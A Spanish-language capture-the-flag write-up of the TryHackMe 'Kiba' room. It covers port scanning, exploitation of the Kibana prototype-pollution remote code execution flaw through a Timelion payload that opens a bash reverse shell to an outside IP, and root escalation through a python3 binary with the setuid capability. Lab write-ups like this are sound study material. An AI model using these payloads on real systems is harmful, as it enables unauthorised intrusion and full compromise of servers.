This page looks best with JavaScript enabled

TryHackMe - Kiba

 •  ✍️ sckull

Kiba es una maquina de TryHackMe, involucra la explotacion de una vulnerabilidad en Kibana que permitió acceso con una shell inversa. Descubrimos un fichero con capabilities steuid para escalar privilegios.

Room

Titulo kiba box_img_maker
Descripción Identify the critical security flaw in the data visualization dashboard, that allows execute remote code execution.
Puntos 480
Dificultad Facil
Maker

stuxnet

NMAP & MASSCAN

Escaneo de puertos tcp, nmap nos muestra el puerto 5601, puerto http (80) y el puerto ssh (22) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
# Nmap 7.80 scan initiated Mon Aug 31 18:26:06 2020 as: nmap -sV -o mini_scan kiba.thm
Nmap scan report for kiba.thm (10.10.22.111)
Host is up (0.24s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Aug 31 18:26:43 2020 -- 1 IP address (1 host up) scanned in 37.55 seconds

masscan -p1-65535,U:1-65535 10.10.22.111 --rate=1000 -e tun0

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-08-31 22:51:38 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 5601/tcp on 10.10.22.111
Discovered open port 80/tcp on 10.10.22.111
Discovered open port 22/tcp on 10.10.22.111

HTTP

Encontramos una pagina web en el puerto 80 con una imagen ASCII de Cicada y con una frase interesante "linux capabilities".
image

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos, no encontramos nada interesante.

1
2
3
4
kali@kali:~/thm/kiba$ gobuster dir -u http://kiba.thm/ -w $LIST/dirb/common.txt -q -t 25 -x php,html,txt
/index.html (Status: 200)
/index.html (Status: 200)
/server-status (Status: 403)

HTTP PUERTO 5601

Encontramos el dashboard de kibana.
image

Realizamos un query (_aliases y .kibana/_search ambos GET) en la consola de Dev Tools para ver la version de kibana y vemos que es 6.5.4.
image

KIBANA < 6.6.0 - RCE

Realizamos una busqueda de posibles exploits o vulnerabilidades para esta version de Kibana y encontramos un PoC que permite ejecutar comandos a traves de la “contaminacion de un objeto”. Encontramos informacion de otros dos payloads y de como parchar esta vulnerabilidad en Github.

Utilizamos el payload para obtener una shell inversa con los pasos que se muestran en el slide y logramos obtener una shell.

1
2
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/10.10.10.10/12345 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

image

image

Logramos obtener nuestra flag user.txt.
image

PRIVILEGE ESCALATION

Hacemos una pequeña enumeracion y vemos algunas configuraciones realizadas en un archivo que se encuentra en la carpeta principal que esta relacionada con capabilities, lo cual esta relacionado con la frase que encontramos en la pagina del puerto 80.

image

Realizamos una enumeracion con getcap -r / 2>/dev/null para verificar que el archivo visto en el historial contiene estas “capacidades” (similares a los SUID). Vemos que aparece junto a otros.

image

Realizamos la explotacion de este archivo, que es python3 para obtener una shell root y nuestra flag root.txt.

1
./python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

image

Informacion:

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe